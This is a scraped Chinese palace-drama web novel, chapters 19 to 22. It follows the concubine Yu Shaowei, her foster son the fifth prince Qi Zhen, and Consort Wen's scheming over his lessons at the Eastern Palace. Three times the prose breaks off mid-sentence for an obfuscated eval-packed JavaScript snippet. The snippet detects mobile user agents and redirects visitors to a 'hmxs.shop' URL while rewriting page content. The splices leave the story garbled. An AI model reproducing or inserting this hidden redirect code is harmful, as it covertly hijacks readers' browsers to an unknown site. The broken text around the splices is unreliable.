槐序走后,于少微将整个人包裹在锦被里,她明明累得连说话的力气都没有了,现下却怎么也睡不着了。身体陷在柔软的榻上,心却绷得紧紧的,一个她隐约察觉、却始终不愿面对的事实,此刻正清晰的摆在她面前,在这个地方,能称得上“人”的,寥寥无几,其余的,不过是任人摆布的工具罢了。 能不能明天一觉醒来,她又回到那个熟悉的世界?虽然那里也让她痛苦,但起码,起码表面上,大多数人还是能当人的。 …… 同一时刻,亓轸正独自坐在窗前,他打发去盯梢的人回来汇报了于少微让人送药的事,月光半死不活地透过窗棂,落在他清瘦的侧脸上,苍白得像失了生气。 从他来到晴雨阁始,无论是她对他的照顾,还是她与别人……桩桩件件都指向她是个良善的人,这是好的,他该放下警惕,她本就是这样的人,对谁都一样好,并非只对他特殊,他一遍遍在心里告诉自己,可胸口却像堵着一团湿棉,闷得他喘不上气。 他恨不得冲到她面前,质问她、甚至骂她,可话到嘴边,却又只剩茫然,她待他那样好,他凭什么骂她?他又能骂什么?骂她太过良善,骂她对谁都一样温柔,骂她的好,并非他独一份? “她本就是这样的人……对谁都一样……” 高悬的圆月一寸寸变浅,浓墨一般的黑夜也被一点点的稀释,天色隐约变得透明,月亮也越来越淡,两个在榻上翻来覆去的人总算陷入算不得美好的梦乡。 19. 第十九章 家宴风波后,除了太子定亲,宫中再没出什么大事。 临近年末,后宫众人都异常忙碌,尤其谢贵妃与文淑妃两人,除了手头上一直在进行的番夷宴,还要与陈皇后一起忙碌年末宫中各类事物的盘点清算,以及宫中上下的新年安排。 这些事情本与于少微无关,她只需要把自己宫中几口人的吃穿用度做好总结,提交一份类似《晴雨阁年度汇报》的东西上去就大功告成了。甚至这些东西根本不需要她亲自去做,只不过,宫中日子实在无聊…… 不知为何,两辈子,她总是会在太闲的时候生出一种荒废时间的负罪感,之前同事评价过,说她这种心理属于是因为无法合理释放内心的驱动力,使得其因为过度自律而产生的内耗,她觉得同事说得很有道理,她也很清楚自己这个牛马毛病,但她一时半会儿也着实改不了。 她也认真想过原因,大概是因为上辈子由于学习和工作性质的原因,学习工作时间与休息时间没有明显的区分,她自己不但深受“奋斗创造神话”的荼毒,还缺乏安全感,才导致她现在一副工蚁模样。 想清楚了,也就不担忧了,这么多年,她也勉强找到了与自己的相处模式。 但这不代表她愿意一直这样,说来也好笑,她是从不赶临期的人,但她有时也会向往去赶一回死线,虽然从未做到过。 以前不改是条件不允许,如今她有了大把可以荒废的日子,想强迫自己去无所事事的挥霍光阴,却……人总是难以抵抗积年累月养成的习惯,在不知道第几次心慌焦虑后,她借口要多了解宫中事物,理所当然的把槐序等人盘点总结的活抢了过来。 果然手上有了事干,她心里顿时踏实了,一天天的又是一副干劲十足的模样。亓轸察觉到她的变化,有些好奇地问了,听完于少微一套振振有词也不乏心虚的“忙碌心安论”,少年似找到同好般,顿时兴致高涨,言语间尽是赞同之意。 于少微顿时又有些悲哀,她就算了,怎么她养的孩子也这样,怎么?难道他们娘俩就是为这人间燃烧身体,奉献自我的命吗? 于少微唾弃自己的勤奋。 亓轸倒是颇感意外,据他素日里的观察与探子的报告,他以为于少微会是那种乐意闲适的人,毕竟除了前阵子的中秋家宴,并未见她再去做什么,只一天天在这宫中像个游神一样随机出没在各个角落,倒是未想到她还是这样的性子。 是因为她的过去吗?亓轸将心比心,如果他能像别的皇子那样有母妃关心督促,得父皇重视,他或许也不会再不知多少次被刁难侮辱后彻悟,自此靠着自己的力量,在这宫墙之内汲取一切他所需要的东西,只一点点空闲都会让他觉得心燥难忍,仿佛就此他就会失去一切、来日再无希望。 想到这里,他的眸光也暗了下来,于少微见状不知道对方脑补了什么,心情依旧十分低沉。 “唉。”两人同时叹气 苦命人看苦命人,互望的眼底都带着显而易见的同情与怅然。 由于她进宫还不到半年,晴雨阁人也不多,需要盘点总结的事物也比别的宫里少了不少,于少微没几天就做完了手头上的事,安心的享受了几日工作完成后的满足时光,想起那日与亓轸的对话,再一次下定决心要宽释自己,结果还不待她施行,第二日去未央宫请安时,被繁杂事务纠缠得神情疲惫的陈皇后亲口点了于少微的名,让其每日来她宫里协助。 一瞬间,看向她的目光有考量有不屑,有幸灾乐祸也有恨不得以身代之的。平心而论,这算不得什么好差事,陈皇后虽为人温和,做起事来却是容不得半点马虎,当年谢贵妃与文淑妃协助皇后做事,被折磨得都没心思吵架了,足以见得威力。 这些往事于少微并不知晓,她只像个突然被上司安排工作一脸懵怔的员工,但由于有额外补贴(陈皇后事后赏了她不少东西)并且数额不小,她心情颇佳,麻溜收好东西,每日准时去未央宫点卯。 不得不说,陈皇后是个好领导,人有能力,对待下属态度温和,还十分有耐心,于少微这段时间跟着她学了不少东西。虽然要求的确严苛,且极度完美主义,但于少微觉得自己是个面团,没有具体的形状,这说明她什么都能适应,皇后给了一个高强度高标准的容器,她也乐得把自己塑造成一样的。 白天被事情占满,晚上倒头就睡,一点胡思乱想的机会都没有,这种虽然忙碌但很充实的生活,于少微满意极了,她觉得自己精神状态的稳定程度,达到了她来到这个世界的巅峰。 腊月二十五,文华殿正式放了假,头天晚上晚膳时于少微得了消息,发出了羡慕的感慨:“真好!”她满脸怀念。 亓轸不解:“好什么?” “你放春假啦。”于少微笑眯眯。 亓轸被她的情绪感染,贴近她好奇道:“我放假您那么开心?” 于少微纠正:“是羡慕,当然也很开心啦,我觉得你上学太累了。” “羡慕?”亓轸疑惑,“母妃也想放假?可您……您不是自己闲不下来吗?” 于少微白了他一眼:“我闲不下来不代表我不喜欢放假。” 亓轸不太明白她的意思,低头思索了一下也不打算再问,直接转移话题道:“未央宫的事情还没有忙完吗?” 于少微摇头,“大概还要三四天。” “母妃辛苦。”亓轸很有眼力劲的给于少微添茶。 少年突然的殷勤让她有些诧异,于少微端着茶杯挑眉:“有事?” 亓轸抿嘴一笑,抬眼看她。于少微见他这副模样,眼神亮了亮,心里顿时涌上一股柔情 “说吧。”她笑吟吟的一脸温柔。 “儿臣可否与您一起去未央宫?”亓轸眨眨眼,殿内的烛光映出他眸里隐约的绿意,果不其然又看到于少微眼底的惊艳之色。 “可以是可以,但我每日早出晚归的,你难得放假不多休息一会儿吗?”于少微有些不解。 “儿臣明日休息,刚好您可去向母后禀告我要来的事情。”亓轸偏了偏头,默不作声的让自己的倒影在她眼里占据更多位置。 于少微没在多问,只点头道:“行,你既然已拿好主意,我后日派人去叫你。” “多谢母妃。”亓轸朝于少微像模像样的作辑。 于少微好笑,这孩子比刚到她宫里时活泼不上,身上的别扭劲也少了很多,原来养孩子并没有那么难。 “您不问儿臣去未央宫做什么吗?”亓轸见于少微没有再往下问的意思,忍不住开口道。 于少微一愣,她倒是没想过要问这个。 “你是有主意的人,我不想过多干涉你。”于少微说完,在心里给自己鼓起了掌,真不愧是她!大夏好家长! 亓轸:…… 少年似有不满,表情突然变得有些别扭,磨磨蹭蹭道:“…您该问的。” 于少微惊讶他难得的孩子气,笑着顺着他的话道:“好好好,你为什么想去未央宫?” 亓轸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882628|191471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却突然有些犹豫了,半天才低低道:“我想去东宫。” 于少微不解,这之中有关系吗? 亓轸明白她的疑惑,解释道:“我们虽放春假了,但太子是不放的,东宫的太傅是李阁老,我很想去听……” 少年说到最后声音渐渐低了下去,于少微心里顿时溢满怜惜之情,多好学的孩子啊,看他这模样,或许早就想去了,只是一直没机会,天杀的怎么能让想读书的孩子没有书读! 也是,东宫虽不是禁止踏足之地,但作为储君之所,也不是随意都能去的,他定是犹豫好久才来求她的。所以她能怎么办呢?当然是毫不犹豫的把事情给人办好! 亓轸一错不错地盯着于少微的表情变化,那双温柔得快溢出水的眸子里此刻映满了他的影子,少年忽然察觉到自己的胸腔不知何时已溢满一种类似满足感的事物,他不知道如何形容这种感觉,但他很确定自己并不讨厌。 第二日去未央宫,于少微略过让亓轸来未央宫里的事,直接朝皇后提出能否让他去东宫与太子一起读书。 一口气将话说完,于少微后知后觉有些后悔,她也是有点飘了,就这么将事情直接说了,皇子想去东宫与太子一起读书,这事怎么听都有些敏感吧,虽然太子将位置做得稳稳的,亓轸离皇位的距离比她离后位的距离还要远,但若是…… 还不待她懊悔完,皇后发话了,她表情温和,语气寻常:“想去就去吧,我等会儿派人与太子传话。” 于少微心里一喜,与皇后相处的这段时日,她也算是对其有些了解,皇后为人中庸平和,处事公正,面上不似淑妃般经常带笑,却远远要比淑妃好相处得多。她知道,就算皇后不愿意,她只会温言拒绝,而不用担心其事后怪罪,这也是她敢直说的原因。 请求得到应允,于少微得寸进尺,凑到皇后身边给她捏肩,又道:“那臣妾能不能先把五皇子带来未央宫用早膳,然后再让他自己去东宫?” 不等皇后回答,于少微又道:“未央宫的早膳好吃的紧,五皇子听我说了之后也馋得很!” 亓轸馋不馋她不清楚,她只知道她俩一起来未央宫用早膳,晴雨阁的小厨房就不用开火了,刚好省两个钱,挺好! 皇后无奈扶额:“你自己馋就算了,还将孩子也拉着,羞不羞啊?” 于少微装作没听到,换了另一边肩捏:“娘娘可是答应了?” “明日将人带来吧。”皇后笑着摇摇头,“多大的人了,在孩子面前千万要稳重些。” 于少微嬉皮笑脸:“娘娘不必担心,我在五皇子面前一向稳重端庄,就连陛下也夸我是慈母!” 陈皇后拍拍她的手让她坐下,“本想着你一来便与你说,刚刚被你打岔差点要忘记了,我记着后日是你的生辰,那日你就不用过来了,自己好好歇歇。” 于少微早就忘了自己的生辰,下意识反驳:“不行的,还没忙完的。” 陈皇后叹她是个木头,“多的是人干,不缺你这一天,回去好好歇着,最近这段时日你也辛苦了。” 于少微还想再说,陈皇后斜了她一眼,又道:“我记得轸儿也是后日的生辰,你们娘俩刚好凑一块好好歇着。” 于少微惊讶,亓轸也是腊月二十七的生辰吗?她竟然不知道!要不是皇后与她说了,那她岂不是就这么忽略掉了?! 罪过啊!!! 于少微不再坚持,有些心不在焉地道了谢,她要好好想想,这个生辰应该如何过? 20. 第二十章 于少微还是决定生辰当天在未央宫待到午膳时才回去。 那日皇后说了生辰的事后,她本是答应的,但春节将近,她手上负责的活计也到了收尾阶段,本来计划着二十五、二十六日加紧多做些能赶得七七八八,结果二十六日当天出了点小意外,估计着手头的事情实在做不完,又不愿意把自己做到一半的事丢给别人,还是与皇后说了明日要来,来半天。陈皇后无奈地看着她,点头应允了。 今日忙得有些晚了,于少微谢绝了陈皇后晚膳的邀请,披上大氅急匆匆地出了门——宫里还有孩子在等她回来吃饭。 冬日天黑得早,所幸未央宫的院子各处已早早挂上了宫灯,兜头而来的凌风吹得于少微脑袋发蒙,她缩着脖子两手紧了紧身上的大氅,忽然看见斜前方的凉亭里坐了个熟悉的身影,她接过宫女手上的灯笼提高,眯眼看过去,那人的侧脸渐渐清晰 是亓轸。 少年不知在那待了多久,凉亭阶梯上铺了一层厚厚的积雪,完好无损,没有半个脚印。于少微不自觉皱紧眉头,快走几步向前,亓轸闻声转头,于少微一眼看见他被寒风吹红的脸颊,当即垮下脸嗔怪道:“你来这做甚?怎么不进屋子里待着,跑到这来喂风吃?” 亓轸没说话,只是站起来将手上的袖炉塞给于少微,又往左挪了挪将风口挡住。 手心蓦地一暖,于少微有些愣怔。 面前的少年又长高了些,今日穿了件石青色的赤金团窠狮纹锦袍,瞧着贵气逼人,袍服的圆领与袖口露出一圈银灰色的貂毛,绒绒的簇拥着他露出一截的雪白脖颈,脸庞线条利落,带着这个年纪特有的清隽,不知何时开始已渐渐看不出稚气。 “怎么不穿件大氅出来?”于少微将袖炉抵在少年颈侧。 亓轸感受着颈侧传来的暖意,垂眸看向小巧的袖炉,眼神闪了闪,道:“我不冷。” 于少微不赞同:“你这样不成的,你不知道这西北风有多猛,一不留神从你光溜溜的脖颈钻进去,回去立马发热然后榻上躺几天!要过年了可不能生病。” 亓轸不答,只是伸手按住颈侧的袖炉,另一只手接过于少微右手的提灯,示意她两手将袖炉拢住。 “您的手好冰。”他的指腹还残留着刚刚触碰到的凉意。 于少微没好气的扫了一眼地上的积雪,不满地看向亓轸露出的脖颈,翻了个白眼道:“这么冷的天能不冰吗?我觉得我一出门就要冻死了,你还穿那么少在外头坐着……哎呀不是,你在这坐着干什么?” 亓轸一撮一撮地揪着自己袖口上的毛,耐心等于少微讲完,才轻声道:“来接您回宫。” “欸你我不管你来干什么都没理由在寒风里杵着,你说你来接我——” “等等……你刚刚说什么来着?”于少微觉得有些不对。 “来接您回宫。”亓轸又重复了一遍。 于少微还想继续往下的长篇大论被他一句话给打散的干干净净。 “我…你是专门来接我回宫吗?”于少微重复少年的话,神情有些恍惚。 亓轸点头,于少微渐渐眼睛睁大,眉毛也高高扬起,是很生动的表情,他忍不住多看了两眼。 “你,你是因为我每日接你下学,所以也来接我吗?”于少微的心脏在咚咚的跳,响声似夏日惊雷。 亓轸又点头,他发现于少微根本无暇顾及她周遭的目光,于是大胆的将目光集中在她脸上。 “哇!!!” 于少微突然蹦了起来,手臂一伸一弯,用力揽过亓轸的肩,将人向前勾得一踉跄,高兴道:“真好!真好!” 她觉得自己身体里有一股不知从哪里涌现的暖流,正以奔腾之态流向四肢,直冲大脑,还隐隐有向外蒸腾之势,她现在就是个散发着热气的暖炉,其威力能融化一整个凉亭的积雪。 “您很高兴?”亓轸弯下腰,由着于少微抓着他又蹦又跳。 “当然!”于少微丝毫不掩饰自己的喜悦,“你是专门来接我的吧?”她指了指自己,又问道。 “当然。”亓轸语气肯定。 于少微松开手,脸上浮现淡淡的红晕,掩在鬓发后的耳廓也红红的,呼吸有些喘,她理了理脸庞的碎发,又揉了把自己大氅上缘的白狐狸毛,扬起脸看向亓轸郑重道:“谢谢你,我很开心。” 亓轸安静地看着她的动作,又在她抬起脸时第一时间看向她的眼睛,用同样的语气道:“谢谢你,我也是。” 两人直愣愣地看着对方,直到一阵呼啸而来的风穿过二人中间,引得他们同时打了个寒颤。 “还说不冷!”于少微强硬的将袖炉塞回去,不等亓轸反应,她抢先一步踏出凉亭,朝身后摆了摆手,中气十足道:“风又大了,咱们回去吧!” 女子清冽的嗓音被寒风刮得稀碎,亓轸却是分毫不差得听见了,他两步并做一步与她并肩,暗下来的天空飘起了盐粒大的白雪,落在油伞上,发丝上,肩膀上。 回到晴雨阁,于少微刚刚坐下就听到青阳道:“淑妃娘娘早些时候派人传话,让您过去找她。” “什么时候来的?”于少微感到烦躁,她现在好累,只想吃饱肚子然后去榻上裹紧被子躺下。 “一个时辰前。”青阳道,罢了又看了于少微一眼,小心道:“淑妃娘娘遣人来问了两次,瞧着似乎有些着急。” 于少微冷哼一声,“她急让她急,反正我不急。来人!传膳!” 说完又斜了亓轸一眼:“你先别动,我让人去你屋里给你拿衣服了,你披上再去暖阁。” 亓轸轻轻点了点头,于少微看见他乖巧的模样,心里登时升起一股满足感。 等她去到文淑妃的寝殿时已经接近亥时,她本以为都这个点了淑妃定不会见人,没想到她遣去打听的人回来禀告,言明淑妃宫里的灯依旧亮着的。 没办法,于少微只得重新披好大氅出门。 文淑妃正在插花,于少微来时她正拿着花剪在修剪腊梅的枝条。 “可算把你等来了。”文淑妃放下剪刀挥手让人上茶。 于少微朝她福了福,笑道:“今日出了些意外,所以忙得晚了些,抱歉让娘娘久等了。” 文淑妃笑而不答,慢悠悠地抿了口茶水,才道:“皇后娘娘那儿的差事都不容易,你这阵子也是辛苦了。” “能为皇后娘娘分忧是臣妾的福气。”于少微柔柔道。 文淑妃发出一声意味不明的哼笑,转瞬即逝,声音轻的于少微都快以为是自己的错觉。 淑妃娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16885799|191471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘将手中修建好的腊梅插进瓶里,悠悠道:“听说你在皇后那里做得很好,娘娘很是看重你。” “臣妾愚钝,实在称不上得皇后娘娘看重。”于少微将手边的茶杯稍稍推远了些,“皇后娘娘是为好夫子,得其不吝赐教,臣妾这阵子在未央宫学了不少东西。” “学到东西是好事,只是你不知道——”文淑妃又拿起花剪对着已经插到瓶里的花枝比划,“皇后喜静,近年来身体又有些抱恙,宫中许多小事都是交与我和谢贵妃做,陛下也很信任我们。” 淑妃突然不说了,偏头去看于少微。 “臣妾知道,娘娘与贵妃娘娘的能力皇后娘娘也是经常夸赞的。”于少微撇开眼不与她对视。 “我与你说这些也没什么别的意思,只是宫中生活并不容易,所以提点你两句。你是我宫里的人,总不会害你的。” “咔嚓。”文淑妃剪掉了一枝带著花苞的枝条。 于少微在心里翻了个大大的白眼,没有动,只点头道:“臣妾知晓娘娘是为了我好。” 文淑妃定定看了她两眼,于少微敛眉微笑着,端是一副无害平和的模样。 淑妃移开了目光,又道:“同说五皇子今日去东宫读书了?” 于少微骤然警觉,斟酌道:“算不得读书,只是文华殿放春假了,他没事做,听闻东宫太傅还在讲学,他仰慕大人学问,想去凑个热闹。” 文淑妃却有些不满:“没事做去东宫做甚?实在闲得慌,你在未央宫那么忙,也可让他去帮你。” “娘娘怕是糊涂了,后宫中的事,怎么好让皇子来做。”于少微挺直背脊,看向花瓶里那枝嶙峋的腊梅。 文淑妃自知说错了话,又改口道:“孩子们平常读书辛苦,好不容易有假,合该多歇息才是,五皇子与我轩儿年纪相近,正是长身体的时候,我也是心疼他。” “我代轸儿谢过娘娘体恤。”于少微举起茶杯朝文淑妃敬了敬。 “你还是回去劝劝他吧,就算不为自己身体,打搅了太子读书可要得陛下怪罪的。”文淑妃见于少微忽略掉她前面的话,又补充道。 “唉。”于少微突然沉沉地叹了口气,文淑妃眉毛拧紧,面带疑惑。 “娘娘有所不知,臣妾非五皇子生母,年岁又轻,臣妾与他……”于少微又叹了口气,“有时候臣妾不太能管教他。” 文淑妃急了,“这怎么行,陛下既然指认你做他母妃,你就该担起养育皇子的责任。” “臣妾明白。”于少微飞快点了个头,“臣妾一直在努力去做,只是与孩子相处,操之过急不是好事,还是徐徐图之为好。” 文淑妃有些维持不住表情,努力使自己听起来心平气和,“五皇子来你宫里快半年了。” 于少微又点头:“所以臣妾一直在努力呢!” 文淑妃彻底无语了,她按了按自己额角,不想再看于少微。 场面突然陷入安静,于少微眼珠子转了转,招手让人给自己杯里添茶,慢悠悠地嘬了两口,一派悠闲的模样。 文淑妃将手上的剪刀扔得远了些,低头揉了揉自己的眉心,半响,声音恢复平静,淡淡道:“时候不早了,你先回去休息吧,五皇子的事你去劝劝,不然让陛下知道了不好。” 21. 第二十一章 于少微离开后,亓轩立马从寝殿后面绕出来,对着文淑妃不满道:“她会去劝五弟吗?” 文淑妃看着满脸抱怨的儿子,眉头颤了颤,压下心中的不耐道:“你不是都听见了吗。” “她在和你打太极谁听不出来,烦死了!我和大哥读书读得好好的,那癞皮狗突然横插一脚,搁那坐着碍眼死了!他还去和大哥讲话,大哥还夸他!我受不了了,这让我怎么读书?我不管,母妃你必须把他赶走!“亓轩满脸恼怒,气哼哼的,随手抓了个茶杯就往前砸,正是于少微刚喝的那个。 “殿下!”亓轩身边的嬷嬷赶紧上前把他拉开,一脸心疼道:“天气凉您别碰水。” 文淑妃冷眼看着发疯的儿子,捏紧拳头狠狠吐出一口浊气,还是没忍住,指着人恨铁不成钢道:“你还有脸说读书?自己书读哪去了心里没数吗?你用心读了吗?上回你父皇考校你功课,你答成什么样了?真没眼看!你是我的儿子,你外祖是文家,书读成这样你好意思吗?你成天跟太子待一块儿,人家的学问你怎么就一点没学到?我,我看你还不如亓轸呢!” “娘娘——”文淑妃胸膛大幅度起伏,重重地喘着气,素日娴静温柔的模样荡然无存,身边的宫女赶忙上前,拍背的拍背,倒茶的倒茶。 不待淑妃骂完,亓轩也炸了,大声叫道:“这能怪我?是你自己生了我又不管我,你还好意思说我是你儿子?我是跟着大哥长大的,我就喜欢和他一起怎么了?你自己不也叫我多和太子接触吗?不都是你说的吗?我不是都照着你说得做了吗?然后呢?做不好就来怪我?骂我?你说我比不上亓轸,巧了!我看你连刚刚的于婕妤都比不上!五弟甚至不是她亲生的,她都天天来接他下学!你呢?你在哪里?” 亓轩骂得面红耳赤,嘴唇剧烈抖动着,眼睛死死瞪着淑妃,仿佛对面的不是自己的生身母亲,倒像是仇人般。 文淑妃心里也气得慌,但蓦地看见儿子这个样子,到底还是努力压下怒火,抿紧双唇,努力调整呼吸,缓了一小会儿,再开口时语气已经平静了许多:“我不想和你说这个,说了你也听不进去。我问你,五皇子到底哪里惹到你?他去东宫旁听,甚至都没挨着你与太子坐,你管人家那么多做甚?眼看就要过年了,他能听几天?你与太子一起长大,在太子面前,他如何比得过你?” 亓轩被淑妃最后一句话取悦到,拿起茶杯灌了一大口茶水,还有闲心掏出一块手帕擦嘴,语气有些鄙夷:“我就是看他碍眼,一点儿不想看见他,母妃你得帮我,一众兄弟中大哥最喜欢我,可他今天待亓轸也很好,我不喜欢……而且,万一,万一他在东宫学到太多东西,得父皇重视怎么办?在父皇心里超,超过我怎么办?” 淑妃冷哼一声:“学识再多又怎么样?你们是皇子,又不是外头要考科举的学子,就凭他的生母,一个有外族血统的蛮子,再得你父皇重视又如何?望到头了也不就得块离京城远远的封地,如何干扰得了你与太子两兄弟,有你娘在,他这辈子都越不过你。” “那母妃你——”亓轩还是不放弃。 “不行。”文淑妃这回十分干脆道。 “可——”亓轩又跳起来要说什么。 “听说你今天弄脏了他的大氅?”文淑妃已经完全恢复平日的模样,十分温和地看着自己的儿子,嘴角甚至还噙着一抹似有若无的笑。 亓轩见到他娘这个模样有些犯怵,犹豫道:“儿臣是,是不小心。” 文淑妃声音轻柔:“真的吗?” 亓轩低下头,手指胡乱摆弄着腰间的玉佩:“母妃你别问了。” 文淑妃叹了口气,起身走到亓轩身边,看着面前与自己有五分相像的儿子,眼底闪过复杂的情绪,“轩儿啊。”文淑妃的声音听着有些疲惫。 亓轩眼皮挑了挑,抬头看向她,“…母妃……” “你已经过了十五的生辰,早已不是孩子了,也应该成熟些了。” 亓轩嘴唇动了动,没有说话。 文淑妃继续道:“五皇子虽不得看重,但也是你父皇的孩子,你的兄弟,你要明白,你父皇最厌恶兄弟阋墙,至于后果……” 亓轩咬紧自己的下唇,点了点头。 “你是娘唯一的儿子,我和你妹妹日后都要指望你,娘怎么会不爱你?你小时候的事……”文淑妃突然哽咽起来,眼圈迅速泛红。 亓轩看见她这个样子,整个脾气完全软了,急急拉住她的手低低道:“母妃儿臣错了,儿臣不该说那些话的……” 文淑妃双手攥紧儿子的手,流下两行清泪:“娘悔啊,娘日日夜夜都在后悔,你那么小,可,可我……” 文淑妃说不下去了,十月怀胎生下的孩子,她怎么不爱?要不是她身子实在不好,她又怎么舍得?他们母子,又怎会是如今这副模样? 文淑妃的眼泪砸到了亓轩的手背上,他似被烫到般下意识想抽回双手,随即又更加用力地握住,恨恨道:“母妃不要伤心了,儿臣再也不会了,儿臣知道,儿臣都知道!都怪贵妃,要不是她,我们怎会母子分离?母妃您放心,儿臣一定会长成您和妹妹的依靠!儿臣一定会帮您报仇的!” 文淑妃揽住自己的儿子,轻轻拍着他的背,仿佛他还是当年那个包在襁褓中的小小婴儿。 “母妃相信我的轩儿,轩儿一定会让母妃如愿以偿的。” * 窗外的雪愈下愈大,于少微回到晴雨阁后,宫女接过她脱下的大氅挂在一边,拿毛刷细细刷下上边未化的雪粒,于少微瞧着她的动作,突然想到晚膳前她让人去亓轸寝宫拿大氅时,那宫人汇报说亓轸的案上搁了一件乌云豹大氅,只是不知沾染了什么东西,好大一片脏污。 回想起文淑妃的态度和亓轸今日来接她时的模样,她突然有些明白了。 “头发不用拆了,我要出去一趟。”于少微眉头紧蹙,回忆着方才文淑妃的话。 “啊,啊?”青阳刚刚拆下最后一根固定的金钗,乌发散了满肩。 “娘娘要去哪里?奴婢现在再帮你盘一个头?”青阳赶紧道。 于少微低头瞧了瞧,“不用这么麻烦,帮我编个辫子吧。” 青阳得令,拿过木梳细细将头发梳顺,手指灵巧地编起了三股辫。 “去永和居,槐序和我去就行,其他人不用跟来。”于少微又吩咐道。 “要先派人去五殿下那里告知一声吗?”青阳在发尾处用缎带系了个漂亮的结。 “不用。”于少微将辫子捞到胸前,低头端详了一下,“很漂亮。”她评价道。 青阳开心地点头:“婕妤喜欢就好。” 于少微冲她笑了笑,披上衣服带着槐序出门。 夜晚总是比白日寒冷得多,于少微在屋内刚被炭火 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16895008|191471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 熏暖得身体被寒风猛得一卷,连打了两个寒颤,暖融融的大脑也冷了下来,她突然停住脚步。 “婕妤?”槐序见她一动不动的站在原地,有些疑惑。 于少微看着前方黑漆漆的道路,犹豫了一会儿,将目光移回晴雨阁院子里的宫灯。 “我们回去。”边说着,于少微转过身往回走。 槐序不解,刚不是还急匆匆的要出门吗?怎么突然又要回去?但婕妤做事自有她的道理,槐序甩了甩落在手上的雪粒,快步追了上去。 在晴雨阁另一角的永和居,亓轸听到于少微要来的消息,犹豫着要不要换下刚穿上的寝衣。 “来个人再往炉子里添些炭,禄子,你出去让人再灌个手炉进来。”亓轸坐在榻边,决定不换了。 弄脏了的大氅他用完晚膳回来后就让人拿去清理了,亓轸想起今日东宫发生的事情,嘴角勾起一抹轻笑,倒是要谢谢那个蠢货。 很奇妙,亓轩将那碗花生酪倒在他身上时,他脑中最先涌现的竟然不是怒火。那块污渍很显眼,黏糊糊、甜腻腻的,大氅肯定是不能穿了,亓轸有些遗憾,晚点要去未央宫接人,他专门挑的这件,又再看了眼那块污渍,亓轸解开系带将大氅脱了下来。 抬眼看见亓轩饱含挑衅的眼神,似乎还有些……不解? 蠢货,他懂个屁。 亓轸心情颇好的冲亓轩勾了下唇角,亓轩见鬼似的抱着胳膊后退两步,神经病啊这人!刚刚那碗花生酪难不成倒进他脑袋里了? 亓轩看见亓轸的笑容心里一阵恶寒,突然又想到这人被泼了以后,第一反应竟然不是看他,而是一直盯着大氅,亓轩眼珠转了转,有些怀疑地在亓轸脸上上下扫视,企图找出一丝愤怒与羞耻。 没有,一点也没有。 脱掉大氅的少年里头穿了件石青色的锦袍,头上还戴着一顶黑色的卷檐虚帽,配上刚刚那件乌云豹大氅,即使他不屑于比较这种东西,但他不得不承认,因着那个有着夷人血统的丽贵人,他这位五弟确实有着一副非同寻常的好相貌,但是……亓轩眯起双眼,这个漂亮的五弟,今日似乎比往日见到的要更加……意气风发? 亓轸察觉到对面的打量,大方地抬起头,嘴角笑容扩大。 亓轩瞳孔瞬间放大然后猛地一缩。他突然明白自己为什么一见到他就不爽了,装扮成这个样子,真的是来听学的吗?怕不是没安什么好心吧?他以为大哥会因为他生的好对他另眼相看?呵,可笑! 太子不知何时走到了亓轸身边,一旁的太监捧着一件簇新的白羽缎面鹤氅:“五弟没事吧?我让人拿了件我的大氅,你先穿着,千万别着凉了。” “谢大哥好意。”亓轸瞥了眼已经跳脚的亓轩,笑道:“进屋子就暖和了,用不着的。” “但你回去总是需要的。”太子坚持。 亓轸又斜了眼恨不得冲上来掐死自己的亓轩,眼珠子一转,顺从地接过大氅,仰脸笑道:“那就谢过大哥好意了。” 太子点点头,见亓轸已经接过大氅,有些欲言又止。 亓轸明白太子想说什么,上前一步,特地压低嗓音道:“我知四哥乃无意之举,大哥不必担心。” 太子松了口气,也笑道:“我会替你教训他的。” 亓轸不置可否,冲太子点了点头,绕过一旁已经目眦尽裂的亓轩,先跨进了门。 22. 第二十二章 于少微没有来。 亓轸等了近两刻钟,迟迟未见她的身影。晴雨阁与永和居距离不到一刻钟的脚程,外面虽下着雪,但并不算大,他还事先派了人去把路上的雪扫了……可是,人怎么还未来? 亓轸直直盯着紧闭的槛窗,手指神经质地扣着书案上的木纹,室内温暖如春,他光脚踩在地上也不觉得冷,矮几上的炉子煨着红枣桂圆甜汤,灌好的手炉被他捂在了锦衾里,还保持着温热。 “吱呀——” 亓轸猛地抬起头,迅速起身往门口走。 “殿,殿下。”推门的太监看见亓轸瞬间冷下的眉眼,后背直直冒出冷汗。 “是你。”亓轸面无表情,视线越过他看向往未闭合的门缝 什么都没有。 太监拿不准他的态度,先小心翼翼将门缝推大,发现面前的殿下脸色更难看了,寒风哗哗的往屋里钻,他又想将门关上。 